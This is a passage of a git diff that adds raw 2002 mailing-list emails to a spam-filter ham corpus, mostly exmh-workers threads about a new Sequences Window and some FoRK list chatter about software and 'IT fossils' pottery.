17:05:45 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g7JL5hb09553 for exmh-workers@listman.redhat.com; Mon, 19 Aug 2002 + 17:05:43 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g7JL5gY09545 for + ; Mon, 19 Aug 2002 17:05:42 -0400 +Received: from milou.dyndns.org (h189n1fls22o974.telia.com + [213.64.79.189]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id + g7JKpUl14562 for ; Mon, 19 Aug 2002 16:51:31 + -0400 +Received: by milou.dyndns.org (Postfix, from userid 500) id A30583F21; + Mon, 19 Aug 2002 23:05:35 +0200 (CEST) +Received: from tippex.localdomain (localhost [127.0.0.1]) by + milou.dyndns.org (Postfix) with ESMTP id A1B443F20; Mon, 19 Aug 2002 + 23:05:35 +0200 (CEST) +X-Mailer: exmh version 2.5_20020817 01/15/2001 with nmh-1.0.4 +To: Chris Garrigues +Cc: exmh-workers@spamassassin.taint.org +Subject: Re: CVS report +In-Reply-To: Message from Chris Garrigues + of + "Mon, 19 Aug 2002 15:24:43 CDT." + <1029788684.25103.TMDA@deepeddy.vircio.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +From: Anders Eriksson +Message-Id: <20020819210535.A30583F21@milou.dyndns.org> +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Mon, 19 Aug 2002 23:05:30 +0200 + + +> > Just cvs up'ed and nowadays Catch-up Unseen is __extremely__ slow on +> > large (>100 msgs) unseen sequences. Anybody else having this problem? +> +> I'll take the blame. +> +> The reason, I suspect, is that we're needlessly reading the .sequences file +> multiple times because of other sequences. I need to make the code much +> smarter about handling that file, but first I have a few other fish to fry in +> my rather large patch that's on it's way. +> + +No panic, + +I'm all for cleaning things up before getting it optimized. + +A + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + diff --git a/bayes/spamham/easy_ham_2/00791.14ee5f2a2aeeea8dc5440ed607c59e59 b/bayes/spamham/easy_ham_2/00791.14ee5f2a2aeeea8dc5440ed607c59e59 new file mode 100644 index 0000000..1c6a707 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00791.14ee5f2a2aeeea8dc5440ed607c59e59 @@ -0,0 +1,138 @@ +From exmh-workers-admin@redhat.com Tue Aug 20 23:27:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 86DFB43C32 + for ; Tue, 20 Aug 2002 18:27:41 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 23:27:41 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7KMSMZ26863 for + ; Tue, 20 Aug 2002 23:28:22 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 4FEB44006D; Tue, 20 Aug 2002 + 18:28:13 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id BDF293EAF8 + for ; Tue, 20 Aug 2002 18:27:57 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g7KMRtD15417 for exmh-workers@listman.redhat.com; Tue, 20 Aug 2002 + 18:27:55 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g7KMRsY15413 for + ; Tue, 20 Aug 2002 18:27:54 -0400 +Received: from austin-jump.vircio.com + (IDENT:c5oav/XM6+r69dvYJiC6rCOI9ZCOOlRM@jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g7KMDal03143 + for ; Tue, 20 Aug 2002 18:13:37 -0400 +Received: (qmail 15217 invoked by uid 104); 20 Aug 2002 22:27:54 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4218. . Clean. Processed in 0.336854 + secs); 20/08/2002 17:27:53 +Received: from deepeddy.vircio.com (@[10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 20 Aug 2002 22:27:53 -0000 +Received: (qmail 3120 invoked from network); 20 Aug 2002 22:27:48 -0000 +Received: from localhost (HELO deepeddy.vircio.com) + (?mfUt4CjC+a93zpMfgU3megdcUBZ5fiKn?@[127.0.0.1]) (envelope-sender + ) by localhost (qmail-ldap-1.03) with SMTP for + ; 20 Aug 2002 22:27:48 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: exmh-workers@spamassassin.taint.org +Subject: New Sequences Window +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_-1828408717P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +From: Chris Garrigues +Message-Id: <1029882468.3116.TMDA@deepeddy.vircio.com> +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Tue, 20 Aug 2002 17:27:47 -0500 + +--==_Exmh_-1828408717P +Content-Type: text/plain; charset=us-ascii + +I've just checked in a rather large patch which replaces the Unseen Window +with a new Sequences Window. + +Since the preference items are different, you'll need to turn the display of +the sequences window on in the preferences even if you had the unseen window +enabled. I couldn't figure out how to default the preferences to match the +unseen window. + +I'm hoping that all people with no additional sequences will notice are purely +cosmetic changes. + +For those who have other sequences defined, the window will widen to display +the other sequences. Preferences allow you to say if you want a given +sequence display to never show or to always show. + +I've also changed the ftoc colorization as discussed briefly on the list a +week or so ago. + +The two things that I know I need to do are to fix the performance issue that +I think is what Anders was seeing yesterday and to catch the documentation up +with the code. + +My wife is out for an "evening with the girls" tonight, so I should be able to +work on the performance issue tonight and check it in after some testing in a +day or two. + +I hope I didn't break very much with all the changes I made... + +Chris + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_-1828408717P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9YsJjK9b4h5R0IUIRAlPcAJwOagra2EcjW/IcjmIB0RNkKUUXUQCfapbo +e4f/pt3xlgPvgzpJ94HmwP0= +=YPYq +-----END PGP SIGNATURE----- + +--==_Exmh_-1828408717P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + diff --git a/bayes/spamham/easy_ham_2/00792.0456a0df8da92cfb4d989b517ed0ff57 b/bayes/spamham/easy_ham_2/00792.0456a0df8da92cfb4d989b517ed0ff57 new file mode 100644 index 0000000..1e9c775 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00792.0456a0df8da92cfb4d989b517ed0ff57 @@ -0,0 +1,109 @@ +From exmh-workers-admin@redhat.com Wed Aug 21 03:51:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 38E6F43C32 + for ; Tue, 20 Aug 2002 22:51:44 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 03:51:44 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7L2qsZ06553 for + ; Wed, 21 Aug 2002 03:52:54 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 4CB193EDA8; Tue, 20 Aug 2002 + 22:53:02 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 905BF3EDA8 + for ; Tue, 20 Aug 2002 22:52:25 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g7L2qMC25485 for exmh-workers@listman.redhat.com; Tue, 20 Aug 2002 + 22:52:22 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g7L2qMY25481 for + ; Tue, 20 Aug 2002 22:52:22 -0400 +Received: from turing-police.cc.vt.edu (h80ad2695.async.vt.edu + [128.173.38.149]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id + g7L2c1l11650 for ; Tue, 20 Aug 2002 22:38:01 + -0400 +Received: from turing-police.cc.vt.edu (localhost [127.0.0.1]) by + turing-police.cc.vt.edu (8.12.5/8.12.5) with ESMTP id g7L2pqKb001805; + Tue, 20 Aug 2002 22:51:56 -0400 +Message-Id: <200208210251.g7L2pqKb001805@turing-police.cc.vt.edu> +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4+dev +To: Chris Garrigues +Cc: exmh-workers@spamassassin.taint.org +Subject: Re: New Sequences Window +In-Reply-To: Your message of + "Tue, 20 Aug 2002 17:27:47 CDT." + <1029882468.3116.TMDA@deepeddy.vircio.com> +From: Valdis.Kletnieks@vt.edu +X-Url: http://black-ice.cc.vt.edu/~valdis/ +X-Face-Viewer: See ftp://cs.indiana.edu/pub/faces/index.html to decode picture +X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t( + ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[ +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_-603961349P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Tue, 20 Aug 2002 22:51:52 -0400 + +--==_Exmh_-603961349P +Content-Type: text/plain; charset=us-ascii + +On Tue, 20 Aug 2002 17:27:47 CDT, Chris Garrigues said: + +> For those who have other sequences defined, the window will widen to display +> the other sequences. Preferences allow you to say if you want a given +> sequence display to never show or to always show. + +Ever tried to get MH to *not* have a 'pseq' sequence? I suspect everybody's +looking at a big box that has unseen and pseq in it. Might want to add +'pseq' to the 'hide by default' list.... +-- + Valdis Kletnieks + Computer Systems Senior Engineer + Virginia Tech + + +--==_Exmh_-603961349P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.7 (GNU/Linux) +Comment: Exmh version 2.5 07/13/2001 + +iD8DBQE9YwBHcC3lWbTT17ARApjqAJ9Er8DBC1yim8a6rlFa5tFs2vY0MACg6U55 +WPaWcJZN9Ma23u7ObQIKqt4= +=Ee1L +-----END PGP SIGNATURE----- + +--==_Exmh_-603961349P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + diff --git a/bayes/spamham/easy_ham_2/00793.b4ae3b05f6b8dfc24f8a92ab759ba54d b/bayes/spamham/easy_ham_2/00793.b4ae3b05f6b8dfc24f8a92ab759ba54d new file mode 100644 index 0000000..56d2386 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00793.b4ae3b05f6b8dfc24f8a92ab759ba54d @@ -0,0 +1,105 @@ +From exmh-workers-admin@redhat.com Wed Aug 21 07:38:10 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 982A543C32 + for ; Wed, 21 Aug 2002 02:38:01 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 07:38:01 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7L6bvZ13034 for + ; Wed, 21 Aug 2002 07:37:57 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 06958401D5; Wed, 21 Aug 2002 + 02:38:02 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id A9B91401CF + for ; Wed, 21 Aug 2002 02:37:26 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g7L6bOG25825 for exmh-workers@listman.redhat.com; Wed, 21 Aug 2002 + 02:37:24 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g7L6bNY25821 for + ; Wed, 21 Aug 2002 02:37:23 -0400 +Received: from turing-police.cc.vt.edu (h80ad2695.async.vt.edu + [128.173.38.149]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id + g7L6N2l09822 for ; Wed, 21 Aug 2002 02:23:02 + -0400 +Received: from turing-police.cc.vt.edu (localhost [127.0.0.1]) by + turing-police.cc.vt.edu (8.12.5/8.12.5) with ESMTP id g7L6auKb003559; + Wed, 21 Aug 2002 02:36:57 -0400 +Message-Id: <200208210636.g7L6auKb003559@turing-police.cc.vt.edu> +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4+dev +Cc: Chris Garrigues , + exmh-workers@redhat.com +Subject: Re: New Sequences Window +In-Reply-To: Your message of + "Tue, 20 Aug 2002 22:51:52 EDT." + <200208210251.g7L2pqKb001805@turing-police.cc.vt.edu> +From: Valdis.Kletnieks@vt.edu +X-Url: http://black-ice.cc.vt.edu/~valdis/ +X-Face-Viewer: See ftp://cs.indiana.edu/pub/faces/index.html to decode picture +X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t( + ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[ + <200208210251.g7L2pqKb001805@turing-police.cc.vt.edu> +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_778588528P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 02:36:56 -0400 + +--==_Exmh_778588528P +Content-Type: text/plain; charset=us-ascii + +On Tue, 20 Aug 2002 22:51:52 EDT, Valdis.Kletnieks@vt.edu said: + +> Ever tried to get MH to *not* have a 'pseq' sequence? I suspect everybody's +> looking at a big box that has unseen and pseq in it. Might want to add +> 'pseq' to the 'hide by default' list.... + +Was it intended that if you added a sequence to the 'never show' list that +it not take effect till you stopped and restarted exmh? I added 'pseq', +then hit 'save' for Preferences - didn't take effect till I restarted. + +--==_Exmh_778588528P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.7 (GNU/Linux) +Comment: Exmh version 2.5 07/13/2001 + +iD8DBQE9YzUIcC3lWbTT17ARAkTxAJ980YijxjLdlJABtcs4uJwQwN0EnwCdHjOG +tFqGIQwIX8IwCFsDpTRtqw0= +=oMZd +-----END PGP SIGNATURE----- + +--==_Exmh_778588528P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + diff --git a/bayes/spamham/easy_ham_2/00794.8d6555404c1d4bedbeab101ffc3dbc5f b/bayes/spamham/easy_ham_2/00794.8d6555404c1d4bedbeab101ffc3dbc5f new file mode 100644 index 0000000..a2ee69a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00794.8d6555404c1d4bedbeab101ffc3dbc5f @@ -0,0 +1,93 @@ +From exmh-workers-admin@redhat.com Wed Aug 21 09:10:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3674643C32 + for ; Wed, 21 Aug 2002 04:10:51 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 09:10:51 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7L88BZ15374 for + ; Wed, 21 Aug 2002 09:08:11 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id E9CBB3FAF7; Wed, 21 Aug 2002 + 04:08:12 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 5629D3EB52 + for ; Wed, 21 Aug 2002 04:07:08 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g7L875c09034 for exmh-workers@listman.redhat.com; Wed, 21 Aug 2002 + 04:07:05 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g7L875Y09030 for + ; Wed, 21 Aug 2002 04:07:05 -0400 +Received: from ratree.psu.ac.th ([202.28.97.6]) by mx1.spamassassin.taint.org + (8.11.6/8.11.6) with SMTP id g7L7qcl21960 for ; + Wed, 21 Aug 2002 03:52:39 -0400 +Received: from delta.cs.mu.OZ.AU (delta.coe.psu.ac.th [172.30.0.98]) by + ratree.psu.ac.th (8.11.6/8.11.6) with ESMTP id g7L85Wl05603; + Wed, 21 Aug 2002 15:05:33 +0700 (ICT) +Received: from munnari.OZ.AU (localhost [127.0.0.1]) by delta.cs.mu.OZ.AU + (8.11.6/8.11.6) with ESMTP id g7L817W08178; Wed, 21 Aug 2002 15:01:07 + +0700 (ICT) +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +From: Robert Elz +To: Valdis.Kletnieks@vt.edu +Cc: Chris Garrigues , + exmh-workers@redhat.com +Subject: Re: New Sequences Window +In-Reply-To: <200208210251.g7L2pqKb001805@turing-police.cc.vt.edu> +References: <200208210251.g7L2pqKb001805@turing-police.cc.vt.edu> + <1029882468.3116.TMDA@deepeddy.vircio.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Message-Id: <8176.1029916867@munnari.OZ.AU> +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 15:01:07 +0700 + + Date: Tue, 20 Aug 2002 22:51:52 -0400 + From: Valdis.Kletnieks@vt.edu + Message-ID: <200208210251.g7L2pqKb001805@turing-police.cc.vt.edu> + + | Ever tried to get MH to *not* have a 'pseq' sequence? + +Hmm - I've been using MH for a long time (since well before there were +sequences) and I don't think I've ever seen a "pseq" ... + +I'm guessing that that's the sequence that you have "pick" create +As I recall it, it has no default sequence name, so the sequence names +that people use will tend to vary from person to person won't they +(except as MH configurations move around institutions by osmosis). + +I've always used "sel" for that purpose. + +I kind of doubt that any pre built-in sequence name is going to be +very general. Even "unseen" can be changed (fortunately that one +is easy to find in the MH profile - though whether exmh does that, +os just uses "unseen" I haven't bothered to find out). + +kre + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + diff --git a/bayes/spamham/easy_ham_2/00795.544a6cb2049f00c48090fe11ef8ca566 b/bayes/spamham/easy_ham_2/00795.544a6cb2049f00c48090fe11ef8ca566 new file mode 100644 index 0000000..ce60454 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00795.544a6cb2049f00c48090fe11ef8ca566 @@ -0,0 +1,56 @@ +From fork-admin@xent.com Tue Aug 20 22:25:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 07CA443C32 + for ; Tue, 20 Aug 2002 17:25:35 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 22:25:35 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7KLOkZ25002 for ; + Tue, 20 Aug 2002 22:24:47 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id E757529415D; Tue, 20 Aug 2002 14:07:41 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail3.panix.com (mail3.panix.com [166.84.1.74]) by xent.com + (Postfix) with ESMTP id B7D99294099 for ; Tue, + 20 Aug 2002 08:43:50 -0700 (PDT) +Received: from 159-98.nyc.dsl.access.net (159-98.nyc.dsl.access.net + [166.84.159.98]) by mail3.panix.com (Postfix) with ESMTP id 2E9A598358 for + ; Tue, 20 Aug 2002 11:45:25 -0400 (EDT) +From: Lucas Gonze +X-X-Sender: lgonze@localhost.localdomain +Cc: FoRK +Subject: Re: Snag Ware +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 20 Aug 2002 11:38:16 -0400 (EDT) + + +I paid for CuteFTP on my Windows box. Well worth the money despite there +being free alternatives, no regrets whatsoever. + +Now that Mozilla isn't taking X down twice a day I'm unlikely to pay for +Opera, but if that hadn't happened around the same time I made the switch +to 100% unix I would have been happy to. + +- Lucas + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/00796.ed58374c0325e41f2ab267d5c4bf0b28 b/bayes/spamham/easy_ham_2/00796.ed58374c0325e41f2ab267d5c4bf0b28 new file mode 100644 index 0000000..000d387 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00796.ed58374c0325e41f2ab267d5c4bf0b28 @@ -0,0 +1,72 @@ +From fork-admin@xent.com Thu Aug 22 10:47:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9D6C443C55 + for ; Thu, 22 Aug 2002 05:46:23 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:46:23 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7LLQPZ10339 for ; + Wed, 21 Aug 2002 22:26:26 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 63B072940B0; Wed, 21 Aug 2002 14:24:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from cats.ucsc.edu (cats-mx2.ucsc.edu [128.114.129.35]) by + xent.com (Postfix) with ESMTP id BD0152940AC for ; + Wed, 21 Aug 2002 14:23:26 -0700 (PDT) +Received: from Tycho (dhcp-63-177.cse.ucsc.edu [128.114.63.177]) by + cats.ucsc.edu (8.10.1/8.10.1) with SMTP id g7LLOwg20470 for + ; Wed, 21 Aug 2002 14:24:58 -0700 (PDT) +From: "Jim Whitehead" +To: "FoRK" +Subject: IT "fossils" +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +Importance: Normal +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 +X-Ucsc-Cats-Mailscanner: Found to be clean +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 14:22:51 -0700 + +While wandering through Uppsala, Sweden last week, I ran across the +"Keramik" studio of Paula von Freymann. Her pottery work has the theme of +"fossils for the future", and she has two main lines of this work. One is +more conventional, taking leaves from plants at the nearby Linneas Gardens +and impressing them into the clay before firing, leaving a "fossil" of the +plant. + +The other is more unique, taking imprints of circuit boards, cellular +telephones, punched cards, etc. and then firing the result to make "IT +fossils." Given how quickly most of our work becomes obsolete, I found the +offbeat notion of IT fossilization an oddly fitting way of archiving the +physical detritus of the digital age. + +http://www.kuai.se/~itart/ +http://www.kuai.se/~itart/html/gallery1.htm +http://www.kuai.se/~itart/bildhtml/4.htm + +My guess is she'd gladly make fossils of any object you wanted, for a price. +Could be an interesting memorial of your next product launch! + +- Jim + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/00797.67afafcb6abaa29b1f92fafa4e153916 b/bayes/spamham/easy_ham_2/00797.67afafcb6abaa29b1f92fafa4e153916 new file mode 100644 index 0000000..1567f6a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00797.67afafcb6abaa29b1f92fafa4e153916 @@ -0,0 +1,52 @@ +From fork-admin@xent.com Fri Jul 19 19:39:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B851B440C8 + for ; Fri, 19 Jul 2002 14:39:44 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 19:39:44 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6JIZoJ24244 for ; + Fri, 19 Jul 2002 19:35:54 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 673E22940E6; Fri, 19 Jul 2002 11:23:26 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mithral.com (watcher.mithral.com [204.153.244.1]) by + xent.com (Postfix) with SMTP id 1C66C294098 for ; + Fri, 19 Jul 2002 11:23:24 -0700 (PDT) +Received: (qmail 9046 invoked by uid 1111); 19 Jul 2002 18:32:17 -0000 +Date: Fri, 19 Jul 2002 11:32:17 -0700 (PDT) +From: "Adam L. Beberg" +To: Tom +Cc: Robert Harley , +Subject: Re: JPEGs patented +In-Reply-To: +Message-Id: +MIME-Version: 1.0 